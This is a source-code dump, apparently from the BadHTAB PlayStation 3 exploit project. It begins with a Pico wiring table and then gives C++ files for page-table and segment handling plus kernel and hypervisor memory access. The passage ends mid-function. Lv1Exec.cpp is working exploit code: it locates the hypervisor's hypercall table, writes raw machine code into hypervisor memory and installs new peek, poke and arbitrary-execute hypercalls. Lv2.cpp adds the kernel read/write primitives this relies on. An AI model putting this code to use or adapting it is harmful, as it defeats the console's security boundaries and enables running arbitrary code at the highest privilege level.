sb_uart_rx (PS3 SB_TX) | Southbridge UART TX | 5 | 172 | | psu_always_on | PSU 5VSB pin 1 | vsys | 173 | | psu_standby | PSU ACDC_STBY pin 3 | 18 | 174 | | hdd_activity (Optional) | HDD LED anode | 22 | 175 | 176 | ``` 177 | PSU PCB BOARD PS3 PCB BOARD 178 | CN101 CNxxx 179 | ┌────────────┐ ┌────────────┐ 180 | │ 1 2 3 4 │ │ 4 3 2 1 │ 181 | │[ ][ ][ ][ ]│ │[ ][ ][ ][ ]│ 182 | └────────────┘ └────────────┘ 183 | │ │ │ │ │ │ │ │ 184 | │ │ │ └── ACN_DET │ │ │ └── ACN_DET 185 | │ │ └──── ACDC_STBY │ │ └──── ACDC_STBY 186 | │ └────── GND │ └────── GND 187 | └──────── 5VSB └──────── 5VSB 188 | ``` 189 | 190 | 191 | **Pico status LEDs** 192 | | Color | GPIO | 193 | |--------|------| 194 | | Error | 6 | 195 | | Yellow | 2 | 196 | | Green | 21 | 197 | | Blue | 27 | 198 | -------------------------------------------------------------------------------- /BadHTAB/source/Xorhack.cpp: -------------------------------------------------------------------------------- 1 | // 2 | // Hashed Page Table (HTAB) code for PS3 3 | // Based on the info from: 4 | // PowerPC Architecture, Book III v2.02 5 | // Cell Broadband Engine Handbook v1.0 6 | // 7 | // HTAB (VA to RA mapping) 8 | // Used to map one Virtual Page Number (VPN) to its currently assigned 9 | // Real Page Number (RPN). So it specifies a mapping between VA and RA. 10 | // Since the PPE only supports 42bit RAs, the max HTAB size is 16MB. 11 | // 12 | // xorloser - February 2010 13 | // www.xorloser.com 14 | // 15 | 16 | #include "Include.h" 17 | 18 | void htabe_set_va(HTABE *htabe, uint64_t va, uint64_t flags) 19 | { 20 | htabe->Num[0] = flags & HTABE_VAMASK; 21 | HTABE_SET_VA(*htabe, va); 22 | } 23 | 24 | void htabe_set_ra(HTABE *htabe, uint64_t ra, uint64_t flags) 25 | { 26 | htabe->Num[1] = flags & HTABE_RAMASK; 27 | HTABE_SET_RA(*htabe, ra); 28 | } 29 | 30 | void htabe_set(HTABE *htabe, uint64_t va, uint64_t vaFlags, uint64_t ra, uint64_t raFlags) 31 | { 32 | htabe->Num[0] = vaFlags & HTABE_VAMASK; 33 | HTABE_SET_VA(*htabe, va); 34 | 35 | htabe->Num[1] = raFlags & HTABE_RAMASK; 36 | HTABE_SET_RA(*htabe, ra); 37 | } 38 | 39 | void htabe_set_lpar(HTABE *htabe, uint64_t va, uint64_t vaFlags, uint64_t lpar, uint64_t raFlags) 40 | { 41 | htabe->Num[0] = vaFlags & HTABE_VAMASK; 42 | HTABE_SET_VA(*htabe, va); 43 | 44 | htabe->Num[1] = lpar | (raFlags & HTABE_RAMASK); 45 | } 46 | 47 | uint64_t htab_ra_from_lpar(uint64_t lparAddr) 48 | { 49 | int32_t res; 50 | 51 | uint64_t lpar_start_addr; 52 | 53 | res = lv1_query_logical_partition_address_region_info(lparAddr, &lpar_start_addr, NULL, NULL, NULL, NULL); 54 | 55 | if (res != 0) 56 | { 57 | PrintLog("lv1_query_logical_partition_address_region_info failed!!!, res = %d\n", res); 58 | abort(); 59 | return 0; 60 | } 61 | 62 | HTABE htabe; 63 | htabe_set_lpar(&htabe, 64 | 0x0001408F92C94400ULL, HTABE_VALID, 65 | lpar_start_addr, HTABE_ACCESSED | HTABE_DIRTY | HTABE_COHERENT | HTABE_NOEXEC | HTABE_READONLY); 66 | 67 | uint32_t htab_idx = FindFreeHTABIdx(); 68 | 69 | res = lv1_write_htab_entry(0, htab_idx, 0, 0); 70 | 71 | if (res != 0) 72 | { 73 | PrintLog("lv1_write_htab_entry failed!!!, res = %d\n", res); 74 | abort(); 75 | return 0; 76 | } 77 | 78 | res = lv1_write_htab_entry(0, htab_idx, htabe.Num[0], htabe.Num[1]); 79 | 80 | if (res != 0) 81 | { 82 | PrintLog("lv1_write_htab_entry failed!!!, res = %d\n", res); 83 | abort(); 84 | return 0; 85 | } 86 | 87 | lv2_read(CalcGameOSHTAB_EA_Addr_By_HtabIdx(htab_idx), sizeof(HTABE), &htabe); 88 | 89 | uint64_t ra_addr = HTABE_GET_RA(htabe); 90 | uint64_t result_addr = ra_addr + (lparAddr - lpar_start_addr); 91 | 92 | res = lv1_write_htab_entry(0, htab_idx, 0, 0); 93 | 94 | if (res != 0) 95 | { 96 | PrintLog("lv1_write_htab_entry failed!!!, res = %d\n", res); 97 | abort(); 98 | return 0; 99 | } 100 | 101 | return result_addr; 102 | } 103 | 104 | // 105 | 106 | // 107 | // Segment Lookaside Buffer (SLB) code for PS3 108 | // Based on the info from: 109 | // PowerPC Architecture, Book III v2.02 110 | // Cell Broadband Engine Handbook v1.0 111 | // 112 | // SLB (EA to VA mapping) 113 | // Segment Lookaside Buffer (SLB) has two unified (instruction and data) 114 | // caches, one per PPE thread. Each cache has 64 entries and is used to 115 | // provide EA-to-VA translations. The PPE suports 2^37 segments of 256MB 116 | // each. Segments are protected areas of virtual memory. Segments can be 117 | // selected as execute or no-execute. The SLB is maintained with special 118 | // instructions. Each 256MB segment can hold 64K pages of 4KB each (or 119 | // fewer of larger page sizes). The pages that make up a segment can 120 | // overlap, but they must do so completely, not partially. 121 | // 122 | // The small or flat segmentation model is the simplest. It uses a single 123 | // segment for all instructions, data, and stacks. In this model, virtual 124 | // address translation is, in effect, implemented entirely with paging. 125 | // 126 | // Multiple segments can be allocated for use by the instructions, private 127 | // data, and stack of each process. They can also be allocated for shared 128 | // libraries, shared memory-mapped I/O ports, and so forth. Access to 129 | // segments can be protected by access-type and privilege attributes, 130 | // so processes and data can be shared without interference from 131 | // unauthorised programs. 132 | // 133 | // xorloser - February 2010 134 | // www.xorloser.com 135 | // 136 | 137 | // Global copy of the PS3 SLB 138 | // for use with the functions below 139 | SLBE SLB[SLB_COUNT]; 140 | 141 | // calculate kernel vsid value from ea 142 | uint64_t slb_calc_kernel_vsid(uint64_t ea) 143 | { 144 | uint64_t proto_vsid = EA_TO_ESID(ea); 145 | return (proto_vsid * 0xBF6E61BULL) % 0xFFFFFFFFFULL; 146 | } 147 | 148 | // calculate user vsid value from ea and context 149 | uint64_t slb_calc_user_vsid(uint64_t ea, uint64_t context) 150 | { 151 | uint64_t proto_vsid = (context << 16) | EA_TO_ESID(ea); 152 | return (proto_vsid * 0xBF6E61BULL) % 0xFFFFFFFFFULL; 153 | } 154 | 155 | // slb[esid.index] = invalid 156 | void slb_invalidate_entry(SLBE_ESID esid) 157 | { 158 | esid.Zero = 0; 159 | esid.Index = 0; 160 | 161 | // asm volatile( "slbie %0\n" 162 | // : 163 | // : "r" (esid) ); 164 | 165 | lv2_slbie(esid.Num); 166 | } 167 | 168 | // slb[esid.index] = vsid|esid 169 | void slb_move_to_entry(SLBE_ESID esid, SLBE_VSID vsid, uint32_t index) 170 | { 171 | esid.Index = index; 172 | 173 | // asm volatile( "slbmte %0, %1\n" 174 | // : 175 | // : "r" (vsid), "r" (esid) ); 176 | 177 | lv2_slbmte(vsid.Num, esid.Num); 178 | } 179 | 180 | // vsid = slb[index] 181 | void slb_move_from_entry_vsid(SLBE_VSID *vsid, uint32_t index) 182 | { 183 | SLBE_ESID slb_index; 184 | SLBE_ESID_ZERO(slb_index); 185 | slb_index.Index = index; 186 | 187 | // asm volatile( "slbmfev %0, %1\n" 188 | // : "=r" (*vsid) 189 | // : "r" (slb_index) ); 190 | 191 | lv2_slbmfev(slb_index.Num, &vsid->Num); 192 | } 193 | 194 | // esid = slb[index] 195 | void slb_move_from_entry_esid(SLBE_ESID *esid, uint32_t index) 196 | { 197 | SLBE_ESID slb_index; 198 | SLBE_ESID_ZERO(slb_index); 199 | slb_index.Index = index; 200 | 201 | // asm volatile( "slbmfee %0, %1\n" 202 | // : "=r" (*esid) 203 | // : "r" (slb_index) ); 204 | 205 | lv2_slbmfee(slb_index.Num, &esid->Num); 206 | 207 | esid->Index = index; 208 | } 209 | 210 | // This fills the global copy of the PS3 SLB 211 | void slb_read_all_entries(void) 212 | { 213 | int slb_idx; 214 | for (slb_idx = 0; slb_idx < SLB_COUNT; slb_idx++) 215 | { 216 | slb_move_from_entry_esid(&SLB[slb_idx].esid, slb_idx); 217 | slb_move_from_entry_vsid(&SLB[slb_idx].vsid, slb_idx); 218 | } 219 | } 220 | 221 | // Adds an entry to the SLB 222 | void slb_add_segment_ex(uint64_t ea, uint64_t va, 223 | uint32_t Ks, uint32_t Kp, uint32_t N, uint32_t L, uint32_t C) 224 | { 225 | SLBE slbe; 226 | int slb_idx; 227 | 228 | // invalidate any existing SLB entry that is the same as 229 | // the entry being added to ensure there is only ever one 230 | // entry for the values being added. 231 | SLBE_ZERO(slbe); 232 | slbe.esid.ESID = EA_TO_ESID(ea); 233 | slb_invalidate_entry(slbe.esid); 234 | 235 | // find the first unused (invalid) SLB entry 236 | // and then add this new SLB entry there 237 | slb_read_all_entries(); 238 | for (slb_idx = 0; slb_idx < SLB_COUNT; slb_idx++) 239 | { 240 | if (!SLBE_IS_VALID(SLB[slb_idx])) 241 | { 242 | // setup the ESID values for the segment to add 243 | SLBE_ZERO(slbe); 244 | slbe.esid.V = 1; 245 | slbe.esid.Index = slb_idx; 246 | slbe.esid.ESID = EA_TO_ESID(ea); 247 | 248 | // setup the VSID values for the segment to add 249 | slbe.vsid.Ks = Ks; 250 | slbe.vsid.Kp = Kp; 251 | slbe.vsid.N = N; 252 | slbe.vsid.L = L; 253 | slbe.vsid.C = C; 254 | slbe.vsid.VSID = VA_TO_VSID(va); 255 | 256 | slb_move_to_entry(slbe.esid, slbe.vsid, slb_idx); 257 | return; 258 | } 259 | } 260 | } 261 | 262 | // Adds an entry to the SLB, specifying flags that are easier 263 | // to understand at a glance. 264 | void slb_add_segment(uint64_t ea, uint64_t va, uint64_t flags) 265 | { 266 | slb_add_segment_ex(ea, va, FLAGS_TO_KS(flags), FLAGS_TO_KP(flags), 267 | FLAGS_TO_N(flags), FLAGS_TO_L(flags), FLAGS_TO_C(flags)); 268 | } -------------------------------------------------------------------------------- /BadHTAB/source/Lv1Exec.cpp: -------------------------------------------------------------------------------- 1 | #include "Include.h" 2 | 3 | uint64_t _our_hvcall_table_addr; 4 | uint64_t _our_hvcall_lpar_addr; 5 | 6 | uint64_t FindHvcallTable() 7 | { 8 | PrintLog("FindHvcallTable()\n"); 9 | 10 | // find invalid handler addr 11 | 12 | bool invalid_handler_addr_found = false; 13 | uint64_t invalid_handler_addr = 0; 14 | 15 | for (uint64_t i = 0; i < (16 * 1024 * 1024); i += 4) 16 | { 17 | uint64_t v[2]; 18 | lv1_read_114(i, 16, v); 19 | 20 | if ((v[0] == 0x386000006463ffff) && (v[1] == 0x6063ffec4e800020)) 21 | { 22 | invalid_handler_addr_found = true; 23 | invalid_handler_addr = i; 24 | 25 | break; 26 | } 27 | } 28 | 29 | if (!invalid_handler_addr_found) 30 | { 31 | PrintLog("invalid_handler_addr not found!, Abort!()\n"); 32 | 33 | abort(); 34 | return 0; 35 | } 36 | 37 | PrintLog("invalid_handler_addr = 0x%lx\n", invalid_handler_addr); 38 | 39 | // find table 40 | 41 | bool table_addr_found = false; 42 | uint64_t table_addr = 0; 43 | 44 | for (uint64_t i = 0; i < (16 * 1024 * 1024); i += 8) 45 | { 46 | uint64_t v[4]; 47 | lv1_read_114(i, 32, v); 48 | 49 | if ((v[0] == invalid_handler_addr) && 50 | (v[1] == invalid_handler_addr) && 51 | (v[2] != invalid_handler_addr) && 52 | (v[3] == invalid_handler_addr)) 53 | { 54 | table_addr_found = true; 55 | table_addr = (i - (22 * 8)); 56 | 57 | break; 58 | } 59 | } 60 | 61 | if (!table_addr_found) 62 | { 63 | PrintLog("table_addr not found!, Abort!()\n"); 64 | 65 | abort(); 66 | return 0; 67 | } 68 | 69 | PrintLog("table_addr = 0x%lx\n", table_addr); 70 | 71 | return table_addr; 72 | } 73 | 74 | bool IsOurHvcallInstalled() 75 | { 76 | // test poke 77 | 78 | { 79 | CallLv1Function_Context_s ctx; 80 | 81 | ctx.num = 35; 82 | 83 | ctx.args[0] = 0x0; // addr 84 | ctx.args[1] = 0; // val 85 | 86 | CallLv1Function(&ctx); 87 | 88 | if (ctx.out[0] != 0) 89 | return false; 90 | } 91 | 92 | // test exec 93 | 94 | CallLv1ExecEa_Context_s ctx; 95 | 96 | ctx.ea = (uint64_t)our_lv1_exec_test_do; 97 | ctx.size = our_lv1_exec_test_do_size; 98 | 99 | CallLv1ExecEa(&ctx); 100 | 101 | if (ctx.out[0] != 0x39) 102 | { 103 | PrintLog("test exec failed!\n"); 104 | 105 | abort(); 106 | return false; 107 | } 108 | 109 | return true; 110 | } 111 | 112 | void InstallOurHvcall() 113 | { 114 | PrintLog("InstallOurHvcall()\n"); 115 | 116 | int32_t res; 117 | 118 | if (IsOurHvcallInstalled()) 119 | { 120 | PrintLog("our hvcall already installed, skip\n"); 121 | return; 122 | } 123 | 124 | bool table_addr_found = false; 125 | uint64_t table_addr = 0; 126 | 127 | if (fwVersion >= 4.70) 128 | { 129 | table_addr = 0x372D08; 130 | table_addr_found = true; 131 | } 132 | else 133 | { 134 | table_addr = FindHvcallTable(); 135 | table_addr_found = true; 136 | } 137 | 138 | if (!table_addr_found) 139 | { 140 | PrintLog("table_addr not found!, Abort!()\n"); 141 | 142 | abort(); 143 | return; 144 | } 145 | 146 | PrintLog("table_addr = 0x%lx\n", table_addr); 147 | _our_hvcall_table_addr = table_addr; 148 | 149 | uint64_t lpar_addr = 0; 150 | uint64_t muid; 151 | 152 | res = lv1_allocate_memory(SIZE_4KB, EXP_4KB, 0, 0, &lpar_addr, &muid); 153 | 154 | if (res != 0) 155 | { 156 | PrintLog("lv1_allocate_memory failed!, res = %d\n", res); 157 | 158 | abort(); 159 | return; 160 | } 161 | 162 | PrintLog("lpar_addr = 0x%lx\n", lpar_addr); 163 | _our_hvcall_lpar_addr = lpar_addr; 164 | 165 | uint64_t ra = htab_ra_from_lpar(lpar_addr); 166 | PrintLog("ra = 0x%lx\n", ra); 167 | 168 | //uint64_t ea = 0x8000000016000000ul; 169 | //map_lpar_to_lv2_ea(lpar_addr, ea, SIZE_4KB, false, true); 170 | 171 | PrintLog("Writing our code and to lv1 memory and hvcall table...\n"); 172 | 173 | { 174 | uint64_t offset = ra; 175 | 176 | // 34 = peek 177 | 178 | { 179 | lv1_write_114(table_addr + (34 * 8), 8, &offset); 180 | 181 | // E8 63 00 00 4E 80 00 20 182 | 183 | uint64_t val = 0xE86300004E800020; 184 | lv1_write_114(offset, 8, &val); 185 | offset += 8; 186 | } 187 | 188 | // 35 = poke 189 | 190 | { 191 | lv1_write_114(table_addr + (35 * 8), 8, &offset); 192 | 193 | { 194 | // F8 83 00 00 38 60 00 00 195 | 196 | uint64_t val = 0xF883000038600000; 197 | lv1_write_114(offset, 8, &val); 198 | offset += 8; 199 | } 200 | 201 | { 202 | // 4E 80 00 20 203 | 204 | uint32_t val = 0x4E800020; 205 | lv1_write_114(offset, 4, &val); 206 | offset += 4; 207 | } 208 | } 209 | 210 | #if 1 211 | 212 | // 36 = exec 213 | 214 | { 215 | lv1_write_114(table_addr + (36 * 8), 8, &offset); 216 | 217 | { 218 | // 38 21 FF F0 7C 08 02 A6 219 | 220 | uint64_t val = 0x3821FFF07C0802A6; 221 | lv1_write_114(offset, 8, &val); 222 | offset += 8; 223 | } 224 | 225 | { 226 | // F8 01 00 00 7D 29 03 A6 227 | 228 | uint64_t val = 0xF80100007D2903A6; 229 | lv1_write_114(offset, 8, &val); 230 | offset += 8; 231 | } 232 | 233 | { 234 | // 4E 80 04 21 E8 01 00 00 235 | 236 | uint64_t val = 0x4E800421E8010000; 237 | lv1_write_114(offset, 8, &val); 238 | offset += 8; 239 | } 240 | 241 | { 242 | // 7C 08 03 A6 38 21 00 10 243 | 244 | uint64_t val = 0x7C0803A638210010; 245 | lv1_write_114(offset, 8, &val); 246 | offset += 8; 247 | } 248 | 249 | { 250 | // 4E 80 00 20 251 | 252 | uint32_t val = 0x4E800020; 253 | lv1_write_114(offset, 4, &val); 254 | offset += 4; 255 | } 256 | } 257 | 258 | #endif 259 | } 260 | 261 | PrintLog("write done.\n"); 262 | 263 | eieio(); 264 | 265 | if (!IsOurHvcallInstalled()) 266 | { 267 | PrintLog("install our hvcall failed!\n"); 268 | 269 | abort(); 270 | return; 271 | } 272 | 273 | lv1_test_puts(); 274 | 275 | PrintLog("InstallOurHvcall() done.\n"); 276 | } 277 | 278 | void UninstallOurHvcall() 279 | { 280 | PrintLog("UninstallOurHvcall()\n"); 281 | 282 | PrintLog("our_hvcall_table_addr = 0x%lx\n", _our_hvcall_table_addr); 283 | PrintLog("our_hvcall_lpar_addr = 0x%lx\n", _our_hvcall_lpar_addr); 284 | 285 | { 286 | uint64_t invalid_handler_addr; 287 | lv1_read_114(_our_hvcall_table_addr + (37 * 8), 8, &invalid_handler_addr); 288 | PrintLog("invalid_handler_addr = 0x%lx\n", invalid_handler_addr); 289 | 290 | lv1_write_114(_our_hvcall_table_addr + (34 * 8), 8, &invalid_handler_addr); 291 | lv1_write_114(_our_hvcall_table_addr + (35 * 8), 8, &invalid_handler_addr); 292 | lv1_write_114(_our_hvcall_table_addr + (36 * 8), 8, &invalid_handler_addr); 293 | } 294 | 295 | int32_t res = lv1_release_memory(_our_hvcall_lpar_addr); 296 | 297 | if (res != 0) 298 | { 299 | PrintLog("lv1_release_memory failed!, res = %d\n", res); 300 | 301 | abort(); 302 | return; 303 | } 304 | 305 | PrintLog("UninstallOurHvcall() done.\n"); 306 | } 307 | 308 | void CallLv1Exec(CallLv1Exec_Context_s* ctx) 309 | { 310 | CallLv1Function_Context_s ctxx; 311 | 312 | ctxx.num = 36; 313 | 314 | ctxx.args[0] = ctx->args[0]; 315 | ctxx.args[1] = ctx->args[1]; 316 | ctxx.args[2] = ctx->args[2]; 317 | ctxx.args[3] = ctx->args[3]; 318 | ctxx.args[4] = ctx->args[4]; 319 | ctxx.args[5] = ctx->args[5]; 320 | 321 | ctxx.args[6] = ctx->ra; 322 | 323 | CallLv1Function(&ctxx); 324 | 325 | ctx->out[0] = ctxx.out[0]; 326 | ctx->out[1] = ctxx.out[1]; 327 | ctx->out[2] = ctxx.out[2]; 328 | ctx->out[3] = ctxx.out[3]; 329 | ctx->out[4] = ctxx.out[4]; 330 | ctx->out[5] = ctxx.out[5]; 331 | ctx->out[6] = ctxx.out[6]; 332 | ctx->out[7] = ctxx.out[7]; 333 | } 334 | 335 | void CallLv1ExecEa(CallLv1ExecEa_Context_s* ctx) 336 | { 337 | if (ctx->size > 4096) 338 | { 339 | PrintLog("function size too big!\n"); 340 | 341 | abort(); 342 | return; 343 | } 344 | 345 | //PrintLog("ctx->ea = 0x%lx, ctx->size = %lu\n", ctx->ea, ctx->size); 346 | 347 | CallLv1Function_Context_s ctxx; 348 | 349 | ctxx.num = 36; 350 | 351 | ctxx.args[0] = ctx->args[0]; 352 | ctxx.args[1] = ctx->args[1]; 353 | ctxx.args[2] = ctx->args[2]; 354 | ctxx.args[3] = ctx->args[3]; 355 | ctxx.args[4] = ctx->args[4]; 356 | ctxx.args[5] = ctx->args[5]; 357 | 358 | int32_t res; 359 | 360 | uint64_t lpar_addr = 0; 361 | uint64_t muid; 362 | 363 | res = lv1_allocate_memory(SIZE_4KB, EXP_4KB, 0, 0, &lpar_addr, &muid); 364 | 365 | if (res != 0) 366 | { 367 | PrintLog("lv1_allocate_memory failed!, res = %d\n", res); 368 | 369 | abort(); 370 | return; 371 | } 372 | 373 | //PrintLog("lpar_addr = 0x%lx\n", lpar_addr); 374 | 375 | uint64_t ra = htab_ra_from_lpar(lpar_addr); 376 | //PrintLog("ra = 0x%lx\n", ra); 377 | 378 | lv1_write(ra, ctx->size, (void*)ctx->ea); 379 | 380 | ctxx.args[6] = ra; 381 | CallLv1Function(&ctxx); 382 | 383 | res = lv1_release_memory(lpar_addr); 384 | 385 | if (res != 0) 386 | { 387 | PrintLog("lv1_release_memory failed!, res = %d\n", res); 388 | 389 | abort(); 390 | return; 391 | } 392 | 393 | ctx->out[0] = ctxx.out[0]; 394 | ctx->out[1] = ctxx.out[1]; 395 | ctx->out[2] = ctxx.out[2]; 396 | ctx->out[3] = ctxx.out[3]; 397 | ctx->out[4] = ctxx.out[4]; 398 | ctx->out[5] = ctxx.out[5]; 399 | ctx->out[6] = ctxx.out[6]; 400 | ctx->out[7] = ctxx.out[7]; 401 | } 402 | 403 | void lv1_test_puts() 404 | { 405 | PrintLog("lv1_test_puts()\n"); 406 | 407 | CallLv1ExecEa_Context_s ctx; 408 | 409 | ctx.ea = (uint64_t)our_lv1_test_puts_do; 410 | ctx.size = our_lv1_test_puts_do_size; 411 | 412 | CallLv1ExecEa(&ctx); 413 | 414 | PrintLog("lv1_test_puts() done.\n"); 415 | } -------------------------------------------------------------------------------- /BadHTAB/source/Lv2.cpp: -------------------------------------------------------------------------------- 1 | #include "Include.h" 2 | 3 | uint64_t lv2_peek(uint64_t addr) 4 | { 5 | lv2syscall1(6, addr); 6 | 7 | return_to_user_prog(uint64_t); 8 | } 9 | 10 | void lv2_poke(uint64_t addr, uint64_t val) 11 | { 12 | lv2syscall2(7, addr, val); 13 | 14 | uint64_t afterval = lv2_peek(addr); 15 | 16 | if (afterval != val) 17 | { 18 | PrintLog("lv2_poke failed!, addr = 0x%lx, val = 0x%lx, afterval = 0x%lx\n", 19 | addr, val, afterval); 20 | 21 | abort(); 22 | return; 23 | } 24 | } 25 | 26 | void lv2_read(uint64_t addr, uint64_t size, void* out_Buf) 27 | { 28 | if (size == 0) 29 | return; 30 | 31 | uint64_t curOffset = 0; 32 | uint64_t left = size; 33 | 34 | uint64_t chunkSize = sizeof(uint64_t); 35 | 36 | uint8_t* outBuf = (uint8_t*)out_Buf; 37 | 38 | uint64_t zz = (addr % chunkSize); 39 | 40 | if (zz != 0) 41 | { 42 | uint64_t readSize = (chunkSize - zz); 43 | 44 | if (readSize > left) 45 | readSize = left; 46 | 47 | uint64_t a = (addr - zz); 48 | 49 | uint64_t v = lv2_peek(a); 50 | uint8_t *vx = (uint8_t *)&v; 51 | 52 | memcpy(&outBuf[curOffset], &vx[zz], readSize); 53 | 54 | curOffset += readSize; 55 | left -= readSize; 56 | } 57 | 58 | while (1) 59 | { 60 | if (left == 0) 61 | break; 62 | 63 | uint64_t readSize = (left > chunkSize) ? chunkSize : left; 64 | 65 | uint64_t v = lv2_peek(addr + curOffset); 66 | 67 | memcpy(&outBuf[curOffset], &v, readSize); 68 | 69 | curOffset += readSize; 70 | left -= readSize; 71 | } 72 | } 73 | 74 | void lv2_write(uint64_t addr, uint64_t size, const void* in_Buf) 75 | { 76 | if (size == 0) 77 | return; 78 | 79 | uint64_t curOffset = 0; 80 | uint64_t left = size; 81 | 82 | uint64_t chunkSize = sizeof(uint64_t); 83 | 84 | const uint8_t* inBuf = (const uint8_t* )in_Buf; 85 | 86 | uint64_t zz = (addr % chunkSize); 87 | 88 | if (zz != 0) 89 | { 90 | uint64_t writeSize = (chunkSize - zz); 91 | 92 | if (writeSize > left) 93 | writeSize = left; 94 | 95 | uint64_t a = (addr - zz); 96 | 97 | uint64_t v = lv2_peek(a); 98 | uint8_t *vx = (uint8_t *)&v; 99 | 100 | memcpy(&vx[zz], &inBuf[curOffset], writeSize); 101 | 102 | lv2_poke(a, v); 103 | 104 | curOffset += writeSize; 105 | left -= writeSize; 106 | } 107 | 108 | while (1) 109 | { 110 | if (left == 0) 111 | break; 112 | 113 | uint64_t writeSize = (left > chunkSize) ? chunkSize : left; 114 | 115 | uint64_t v = lv2_peek(addr + curOffset); 116 | memcpy(&v, &inBuf[curOffset], writeSize); 117 | 118 | lv2_poke(addr + curOffset, v); 119 | 120 | curOffset += writeSize; 121 | left -= writeSize; 122 | } 123 | } 124 | 125 | uint64_t lv2_lv1_peek(uint64_t addr) 126 | { 127 | lv2syscall1(11, addr); 128 | 129 | return_to_user_prog(uint64_t); 130 | } 131 | 132 | void lv2_lv1_poke(uint64_t addr, uint64_t val) 133 | { 134 | lv2syscall2(9, addr, val); 135 | 136 | uint64_t afterval = lv2_lv1_peek(addr); 137 | 138 | if (afterval != val) 139 | { 140 | PrintLog("lv2_lv1_poke failed!, addr = 0x%lx, val = 0x%lx, afterval = 0x%lx\n", 141 | addr, val, afterval); 142 | 143 | abort(); 144 | return; 145 | } 146 | } 147 | 148 | void lv2_lv1_read(uint64_t addr, uint64_t size, void* out_Buf) 149 | { 150 | if (size == 0) 151 | return; 152 | 153 | uint64_t curOffset = 0; 154 | uint64_t left = size; 155 | 156 | uint64_t chunkSize = sizeof(uint64_t); 157 | 158 | uint8_t* outBuf = (uint8_t*)out_Buf; 159 | 160 | uint64_t zz = (addr % chunkSize); 161 | 162 | if (zz != 0) 163 | { 164 | uint64_t readSize = (chunkSize - zz); 165 | 166 | if (readSize > left) 167 | readSize = left; 168 | 169 | uint64_t a = (addr - zz); 170 | 171 | uint64_t v = lv2_lv1_peek(a); 172 | uint8_t *vx = (uint8_t *)&v; 173 | 174 | memcpy(&outBuf[curOffset], &vx[zz], readSize); 175 | 176 | curOffset += readSize; 177 | left -= readSize; 178 | } 179 | 180 | while (1) 181 | { 182 | if (left == 0) 183 | break; 184 | 185 | uint64_t readSize = (left > chunkSize) ? chunkSize : left; 186 | 187 | uint64_t v = lv2_lv1_peek(addr + curOffset); 188 | 189 | memcpy(&outBuf[curOffset], &v, readSize); 190 | 191 | curOffset += readSize; 192 | left -= readSize; 193 | } 194 | } 195 | 196 | void lv2_lv1_write(uint64_t addr, uint64_t size, const void* in_Buf) 197 | { 198 | if (size == 0) 199 | return; 200 | 201 | uint64_t curOffset = 0; 202 | uint64_t left = size; 203 | 204 | uint64_t chunkSize = sizeof(uint64_t); 205 | 206 | const uint8_t* inBuf = (const uint8_t* )in_Buf; 207 | 208 | uint64_t zz = (addr % chunkSize); 209 | 210 | if (zz != 0) 211 | { 212 | uint64_t writeSize = (chunkSize - zz); 213 | 214 | if (writeSize > left) 215 | writeSize = left; 216 | 217 | uint64_t a = (addr - zz); 218 | 219 | uint64_t v = lv2_lv1_peek(a); 220 | uint8_t *vx = (uint8_t *)&v; 221 | 222 | memcpy(&vx[zz], &inBuf[curOffset], writeSize); 223 | 224 | lv2_lv1_poke(a, v); 225 | 226 | curOffset += writeSize; 227 | left -= writeSize; 228 | } 229 | 230 | while (1) 231 | { 232 | if (left == 0) 233 | break; 234 | 235 | uint64_t writeSize = (left > chunkSize) ? chunkSize : left; 236 | 237 | uint64_t v = lv2_lv1_peek(addr + curOffset); 238 | memcpy(&v, &inBuf[curOffset], writeSize); 239 | 240 | lv2_lv1_poke(addr + curOffset, v); 241 | 242 | curOffset += writeSize; 243 | left -= writeSize; 244 | } 245 | } 246 | 247 | void lv2_beep_single() 248 | { 249 | lv2syscall3(392, 0x1004, 0x4, 0x6); 250 | } 251 | 252 | void lv2_beep_triple() 253 | { 254 | lv2syscall3(392, 0x1004, 0xa, 0x1B6); 255 | } 256 | 257 | void lv2_beep_long() 258 | { 259 | lv2syscall3(392, 0x1004, 0xa, 0xFFF); 260 | } 261 | 262 | int32_t lv2_storage_get_cache_of_flash_ext_flag(uint8_t* out_flag) 263 | { 264 | lv2syscall1(874, (uint64_t)out_flag); 265 | 266 | return_to_user_prog(int32_t); 267 | } 268 | 269 | int32_t lv2_dbg_get_console_type(uint64_t* out_type) 270 | { 271 | lv2syscall1(985, (uint64_t)out_type); 272 | 273 | return_to_user_prog(int32_t); 274 | } 275 | 276 | int32_t lv2_sm_shutdown(uint16_t op, const void* lpar_parameter, uint64_t parameter_size) 277 | { 278 | lv2syscall3(379, (uint64_t)op, (uint64_t)lpar_parameter, (uint64_t)parameter_size); 279 | 280 | return_to_user_prog(int32_t); 281 | } 282 | 283 | void lv2_shutdown() 284 | { 285 | lv2_sm_shutdown(0x100, NULL, 0); 286 | 287 | PrintLog("lv2_shutdown should not be here!!!\n"); 288 | abort(); 289 | } 290 | 291 | void lv2_reboot_soft() 292 | { 293 | lv2_sm_shutdown(0x200, NULL, 0); 294 | 295 | PrintLog("lv2_reboot_soft should not be here!!!\n"); 296 | abort(); 297 | } 298 | 299 | void lv2_reboot_hard() 300 | { 301 | lv2_sm_shutdown(0x1200, NULL, 0); 302 | 303 | PrintLog("lv2_reboot_hard should not be here!!!\n"); 304 | abort(); 305 | } 306 | 307 | void lv2_boot_otheros() 308 | { 309 | lv2_sm_shutdown(0x8201, NULL, 0); 310 | 311 | PrintLog("lv2_boot_otheros should not be here!!!\n"); 312 | abort(); 313 | } 314 | 315 | void lv2_boot_lv2_kernel() 316 | { 317 | lv2_sm_shutdown(0x8201, NULL, 0); 318 | 319 | PrintLog("lv2_boot_lv2_kernel should not be here!!!\n"); 320 | abort(); 321 | } 322 | 323 | void CallLv2Function(CallLv2Function_Context_s* ctx) 324 | { 325 | if (ctx == NULL) 326 | { 327 | PrintLog("ctx is NULL!\n"); 328 | abort(); 329 | } 330 | 331 | lv2syscall8(15, ctx->args[0], ctx->args[1], ctx->args[2], ctx->args[3], ctx->args[4], ctx->args[5], ctx->args[6], ctx->addr); 332 | 333 | ctx->out[0] = p1; 334 | ctx->out[1] = p2; 335 | ctx->out[2] = p3; 336 | ctx->out[3] = p4; 337 | ctx->out[4] = p5; 338 | ctx->out[5] = p6; 339 | ctx->out[6] = p7; 340 | ctx->out[7] = p8; 341 | } 342 | 343 | uint64_t lv2_mfsprg0() 344 | { 345 | CallLv2Function_Context_s ctx; 346 | ctx.addr = (uint64_t)lv2_mfsprg0_do; 347 | 348 | CallLv2Function(&ctx); 349 | 350 | return ctx.out[1]; 351 | } 352 | 353 | void lv2_slbie(uint64_t esid) 354 | { 355 | CallLv2Function_Context_s ctx; 356 | ctx.addr 